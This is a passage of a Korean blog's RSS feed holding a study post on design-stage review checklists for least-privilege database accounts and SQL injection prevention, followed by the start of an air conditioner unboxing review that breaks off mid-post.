&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;요구사항 1&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;애플리케이션에서 DB연결을 수행할 때&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;최소권한의 계정을 사용&lt;/b&gt;해야 한다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- 애플리케이션에서 사용할 계정이&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;최소권한을 가지도록 명시&lt;/b&gt;&lt;/u&gt;하고 있는지,&lt;br /&gt;- 진단 시점에 개발서버가 구축되고&lt;br /&gt;&amp;nbsp; 개발서버에서 사용할 DB가 생성되어 있는 경우에는&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;실제 DB 접속 계정의 권한&lt;/b&gt;&lt;/u&gt;을 확인한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;[ 진단 방법 ]&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. 애플리케이션별 DB접속 계정이 할당되고,&lt;br /&gt;&amp;nbsp; &amp;nbsp; 각 계정의 권한이 최소권한으로 설정되어 있는가?&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;1-1 &lt;b&gt;요구사항정의서&lt;/b&gt;에 &lt;b&gt;설계항목에 대한 대책이 수립&lt;/b&gt;되어 있으며,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;아키텍처 설계서&lt;/b&gt;에 &lt;b&gt;설계항목 적용계획이 수립&lt;/b&gt;되어 있고,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;요구사항추적표&lt;/b&gt;로 &lt;b&gt;요구 사항 추적 가능 여부 확인&lt;br /&gt;&lt;/b&gt;- 산출물 검토 예시:&amp;nbsp; 요구사항정의서, 요구사항추적표, 아키텍처설계서 검토&lt;br /&gt;&lt;br /&gt;1-2 애플리케이션별 &lt;b&gt;DB연결 계정할당&lt;/b&gt;과&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 해당계정에 대한 &lt;b&gt;최소 권한 할당 여부&lt;/b&gt; 확인&lt;br /&gt;- 산출물 검토 예시:&amp;nbsp;&amp;nbsp;아키텍처설계서, 초기데이터설계서 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;2. 설정된 사용자 &lt;b&gt;권한 외의 요청에 대해&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;b&gt;차단되는지&lt;/b&gt;에 대한 &lt;b&gt;테스트 계획이 수립&lt;/b&gt;되어 있는가?&lt;br /&gt;&lt;br /&gt;2-1 DB연결 계정의 &lt;b&gt;권한 외의 요청&lt;/b&gt;이&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;차단되는지를 점검&lt;/b&gt;할 수 있는&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;테스트 계획 수립&lt;/b&gt;이 수립되어 있는지 확인&lt;br /&gt;- 산출물 검토 예시: 단위테스트케이스 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;관련 산출물&lt;/b&gt;&lt;br /&gt;- 요구사항정의서, 요구사항추적표, 아키텍처 설계서, 초기데이터 설계서, 개발가이드, 단위테스트 케이스, 단위테스트 시나리오 등&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;요구사항 2&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;b&gt;외부입력값이 삽입되는 SQL문&lt;/b&gt;을&lt;br /&gt;&lt;u&gt;&lt;b&gt;동적으로 생성해서 실행하지 않도록&lt;/b&gt;&lt;/u&gt; 해야 한다.&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- 사용하는 플랫폼(JAVA, ASP.Net 등) 및 프레임워크에 맞는&lt;br /&gt;&amp;nbsp; &lt;b&gt;&lt;u&gt;정적 SQL을 작성하도록 명시&lt;/u&gt;하고 있는지 확인&lt;/b&gt;한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;[ 진단 방법 ]&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. DB 데이터 처리기능 구현시,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;u&gt;외부 입력값이 쿼리의 구조에 영향을 미치지 않도록&lt;/u&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; 보안설계가 적용 되어 있는가?&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;1-1&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구사항정의서&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설계항목에 대한 대책이 수립&lt;/b&gt;되어 있으며,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;아키텍처 설계서&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설계항목 적용계획이 수립&lt;/b&gt;되어 있고,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구사항추적표&lt;/b&gt;로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구 사항 추적 가능 여부 확인&lt;br /&gt;&lt;/b&gt;- 산출물 검토 예시: 요구사항정의서, 요구사항추적표, 아키텍처설계서 검토&lt;br /&gt;&lt;br /&gt;1-2 안전한 쿼리 실행환경을 제공할 수 있는&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;u&gt;&lt;b&gt;ORM 프레임워크&lt;/b&gt;&lt;/u&gt;와 같은 프레임 워크 사용여부확인&lt;br /&gt;- 산출물 검토 예시:&amp;nbsp;&amp;nbsp;아키텍처설계서의 보안요구항목 적용 계획을 검토&lt;br /&gt;&lt;br /&gt;1-3 개발가이드로 &lt;u&gt;&lt;b&gt;안전한 정적 쿼리 코딩 방법을 정의&lt;/b&gt;&lt;/u&gt;하고 있는 지 확인&lt;br /&gt;- ibatis, mybatis 사용시 &lt;b&gt;#{변수} 사용&lt;/b&gt; 정의&lt;br /&gt;- &lt;b&gt;PreparedStatement&lt;/b&gt;와 같은 정적쿼리를 수행하는 API 사용정의&lt;br /&gt;- 산출물 검토 예시: 개발가이드 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;2. &lt;b&gt;입력값&lt;/b&gt;이 &lt;b&gt;DB 쿼리의 구조를 변경시키는지&lt;/b&gt; 점검하기 위한&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;b&gt;테스트 계획&lt;/b&gt;이 수립되어 있는가?&lt;br /&gt;&lt;br /&gt;2-1 쿼리문의 구조를 변경할 수 있는 &lt;b&gt;입력값&lt;/b&gt;이&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;u&gt;쿼리 구조 변경에 영향을 주는지 점검&lt;/u&gt;&lt;/b&gt;할 수 있는&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;테스트 계획이 수립&lt;/b&gt;되어 있는지 확인&lt;br /&gt;&lt;br /&gt;[테스트 입력값]&lt;br /&gt;- &lt;b&gt;특수문자: &lt;/b&gt;&amp;nbsp;&amp;lsquo; , &amp;ldquo; , = , &amp;amp; , | , ! , ( , ) , { , } , $ , % , @ 등&lt;br /&gt;- &lt;b&gt;예약어:&lt;/b&gt; UNION, SELECT, THEN, IF, INSTANCE, END, COLUMN 등&lt;br /&gt;- &lt;b&gt;함수 명: &lt;/b&gt;DATABASE(), CONCAT(), COUNT(), LOWER() 등&lt;br /&gt;&lt;br /&gt;- 산출물 검토 예시:&lt;span&gt;&amp;nbsp;&lt;/span&gt;단위테스트케이스 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;관련 산출물&lt;/b&gt;&lt;br /&gt;- 요구사항정의서, 요구사항추적표, 아키텍처설계서, 개발가이드, 단위테스트 케이스, 단위테스트 시나리오 등&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;요구사항 3&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;b&gt;외부입력값&lt;/b&gt;을 이용해 &lt;b&gt;동적으로 SQL쿼리문을 생성&lt;/b&gt;해야 하는 경우,&lt;br /&gt;&lt;b&gt;&lt;u&gt;입력값에 대한 검증을 수행&lt;/u&gt;한 뒤 사용&lt;/b&gt;해야 한다.&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- 불가피하게 동적으로 쿼리문을 생성하고&lt;br /&gt;&amp;nbsp; 외부입력값을 사용해야 하는 경우&lt;br /&gt;&amp;nbsp; 개발자가 &lt;u&gt;&lt;b&gt;입력값 검증을 구현&lt;/b&gt;&lt;/u&gt;할 수 있도록&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;세부사항을 명시&lt;/b&gt;&lt;/u&gt;하고 있는지 확인한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;[ 진단 방법 ]&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. 외부 &lt;u&gt;입력값을 이용한 동적 쿼리를 수행하는 기능 구현&lt;/u&gt;시,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;u&gt;입력값을 필터링하는 기능이 구현&lt;/u&gt;되어 있는가?&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;1-1&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구사항정의서&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설계항목에 대한 대책이 수립&lt;/b&gt;되어 있으며,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;아키텍처 설계서&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설계항목 적용계획이 수립&lt;/b&gt;되어 있고,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구사항추적표&lt;/b&gt;로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구 사항 추적 가능 여부 확인&lt;br /&gt;&lt;/b&gt;- 산출물 검토 예시: 요구사항정의서, 요구사항추적표, 아키텍처설계서 검토&lt;br /&gt;&lt;br /&gt;1-2 &lt;b&gt;SQL필터링 기능이 설계&lt;/b&gt;되어 있거나&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;외부라이브러리를 사용&lt;/b&gt;하는지 확인&lt;br /&gt;- 산출물 검토 예시: 프로그램명세서, 클래스설계서에서 필터링기능 검토, 외부라이브러리 사용 진단을 위해 아키텍처설계서 검토&lt;br /&gt;&lt;br /&gt;1-3 SQL필터링 적용방법이 공통 적용으로 정의되어 있는 경우,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; DB 접근을 수행하는 &lt;u&gt;&lt;b&gt;모든 기능에 적용되도록 설계&lt;/b&gt;&lt;/u&gt;되어 있는지 확인&lt;br /&gt;- 산출물 검토 예시: 아키텍처설계서의 보안요구항목 적용 계획을 검토&lt;br /&gt;&lt;br /&gt;1-4 각각의 기능에서 SQL필터링을 적용하는 경우&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;SQL필터링을 적용하기 위한 코딩규칙&lt;/b&gt;이&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;개발가이드에 정의&lt;/b&gt;되어 있는지 확인&lt;br /&gt;- 산출물 검토 예시: 개발가이드의 코딩 규칙 검토 &lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;입력값&lt;/b&gt;이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;DB 쿼리의 구조를 변경시키는지&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;점검하기 위한&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;b&gt;테스트 계획&lt;/b&gt;이 수립되어 있는가?&lt;br /&gt;&lt;br /&gt;2-1&lt;span&gt;&amp;nbsp;&lt;/span&gt;쿼리문의 구조를 변경할 수 있는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;입력값&lt;/b&gt;이&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;u&gt;쿼리 구조 변경에 영향을 주는지 점검&lt;/u&gt;&lt;/b&gt;할 수 있는&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;테스트 계획이 수립&lt;/b&gt;되어 있는지 확인&lt;br /&gt;[테스트 입력값]&lt;br /&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;특수문자:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&amp;nbsp;&amp;lsquo; , &amp;ldquo; , = , &amp;amp; , | , ! , ( , ) , { , } , $ , % , @ 등&lt;br /&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;예약어:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;UNION, SELECT, THEN, IF, INSTANCE, END, COLUMN 등&lt;br /&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;함수 명:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;DATABASE(), CONCAT(), COUNT(), LOWER() 등&lt;br /&gt;&lt;br /&gt;- 산출물 검토 예시:&lt;span&gt;&amp;nbsp;&lt;/span&gt;단위테스트케이스 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;관련 산출물&lt;/b&gt;&lt;br /&gt;- 요구사항정의서, 요구사항추적표, 아키텍처설계서, 프로그램명세서, 클래스설계서, 개발가이드, 단위 테스트케이스, 단위테스트시나리오 등&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Study/SW보안약점 진단</category>
      <category>DBMS 조회 및 결과 검증</category>
      <category>소프트웨어 보안약점 진단가이드</category>
      <category>시큐어코딩</category>
      <category>입력데이터 검증 및 표현</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/164</guid>
      <comments>https://chmodi.tistory.com/164#entry164comment</comments>
      <pubDate>Wed, 27 Jul 2022 10:47:53 +0900</pubDate>
    </item>
    <item>
      <title>2022년 파세코 프리미엄 창문형 에어컨 PWA-3400W 구매 및 실사용 후기</title>
      <link>https://chmodi.tistory.com/163</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;올해는 왠지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더위가 빨리 찾아올 거 같아서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자취방에 쓸&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에어컨을 좀 일찍 찾던 도중...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파세코에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;22년 신형이 나왔다길래..!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얼리버드 이벤트도 하길래..!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;내돈내산&lt;/b&gt;&lt;/u&gt;으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빠르게 구매하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용해봤습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;심지어 &lt;u&gt;&lt;b&gt;오늘도착&lt;/b&gt;&lt;/u&gt;..!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 오늘도착...&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쇼핑 라이브를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오전에 구매했더니...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오후 4시쯤에 도착했습니다;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqmUdx/btrAR7QcfzJ/WSDSwpdAr5HhMSfsh3W0c0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqmUdx/btrAR7QcfzJ/WSDSwpdAr5HhMSfsh3W0c0/img.jpg&quot; data-alt=&quot;엄청 크지만...절대 눕히지 말라...!!!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqmUdx/btrAR7QcfzJ/WSDSwpdAr5HhMSfsh3W0c0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqmUdx%2FbtrAR7QcfzJ%2FWSDSwpdAr5HhMSfsh3W0c0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;667&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;엄청 크지만...절대 눕히지 말라...!!!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프리미엄 PWA-3400W 모델은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;높이가 85cm로 생각 높은데...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;눕히지 말라고 합니다..??&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(언박싱 어떻게...?)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알고 보니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 박스 포장을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위로 뺄 수 있게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래가 뚫려있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYZVGo/btrAPzUXS0k/FQikzxHlhlAeh4PVKr2uN0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYZVGo/btrAPzUXS0k/FQikzxHlhlAeh4PVKr2uN0/img.jpg&quot; data-alt=&quot;바닥이 뻥~&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYZVGo/btrAPzUXS0k/FQikzxHlhlAeh4PVKr2uN0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYZVGo%2FbtrAPzUXS0k%2FFQikzxHlhlAeh4PVKr2uN0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;667&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;바닥이 뻥~&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 언박싱!&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 구성품은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;구성품:&lt;br /&gt;- 파세코 프리미엄 PWA-3400W 본체&lt;br /&gt;- 설치 구성품&lt;br /&gt;- 설치 키트(에어컨 설치 틀?)&lt;br /&gt;- 에어컨 커버(얼리버드 이벤트)&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUjOcD/btrATehaoFM/RjegjzxD1ajGxzcRuB85z1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUjOcD/btrATehaoFM/RjegjzxD1ajGxzcRuB85z1/img.jpg&quot; data-alt=&quot;크다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUjOcD/btrATehaoFM/RjegjzxD1ajGxzcRuB85z1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUjOcD%2FbtrATehaoFM%2FRjegjzxD1ajGxzcRuB85z1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;667&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;크다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 구성품에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제품 설명서와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 방법 및 부품들이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;들어있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1440&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KdZSp/btrARqbNVOn/CS2bBGfgEPsoIa92kHRT7K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KdZSp/btrARqbNVOn/CS2bBGfgEPsoIa92kHRT7K/img.jpg&quot; data-alt=&quot;이지 설치 키트!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KdZSp/btrARqbNVOn/CS2bBGfgEPsoIa92kHRT7K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKdZSp%2FbtrARqbNVOn%2FCS2bBGfgEPsoIa92kHRT7K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;375&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1440&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이지 설치 키트!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
